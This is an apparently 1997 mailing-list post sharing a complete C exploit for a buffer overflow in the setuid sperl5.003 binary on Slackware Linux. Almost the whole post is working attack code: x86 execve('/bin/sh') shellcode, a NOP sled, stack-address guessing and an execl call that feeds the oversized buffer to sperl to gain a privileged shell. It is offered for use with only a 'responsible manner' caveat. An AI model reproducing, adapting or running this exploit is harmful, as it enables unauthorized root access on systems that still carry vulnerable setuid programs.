(no subject)

ggajic@FREENET.NETHER.NET
Tue, 02 Sep 1997 11:34:35 -0400

Hi,

I have seen sperl exploit for FreeBSD but not for Linux.Well, here it is.
I'm sorry if it was already posted or discovered befor.

/* Linux sperl5.003 buffer overflow by ggajic@freenet.nether.net
based on Aleph1's buffer overflow code
use it in responsible manner
tested on slackware 3.1 and slackware 3.2 */

#include <stdlib.h>
#define DEFAULT_OFFSET 640
#define DEFAULT_BUFFER_SIZE 1600
#define NOP 0x90

char shellcode[] =
"\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
"\x80\xe8\xdc\xff\xff\xff/bin/sh";

unsigned long get_sp(void) {
__asm__("movl %esp,%eax");
}

void main(int argc, char *argv[]) {
char *buff, *ptr;
long *addr_ptr, addr;
int offset=DEFAULT_OFFSET, bsize=DEFAULT_BUFFER_SIZE;
int i;

if (!(buff = malloc(bsize))) {
printf("Can't allocate memory.\n");
exit(0);
}

addr = get_sp() - offset;
printf("Using address: 0x%x\n", addr);

ptr = buff;
addr_ptr = (long *) ptr;
for (i = 0; i < bsize; i+=4)
*(addr_ptr++) = addr;

for (i = 0; i < bsize/2; i++)
buff[i] = NOP;

ptr = buff + ((bsize/2) - (strlen(shellcode)/2));
for (i = 0; i < strlen(shellcode); i++)
*(ptr++) = shellcode[i];

buff[bsize - 1] = '\0';

execl("/usr/bin/sperl5.003","/usr/sbin/sperl5.003",buff, NULL);
}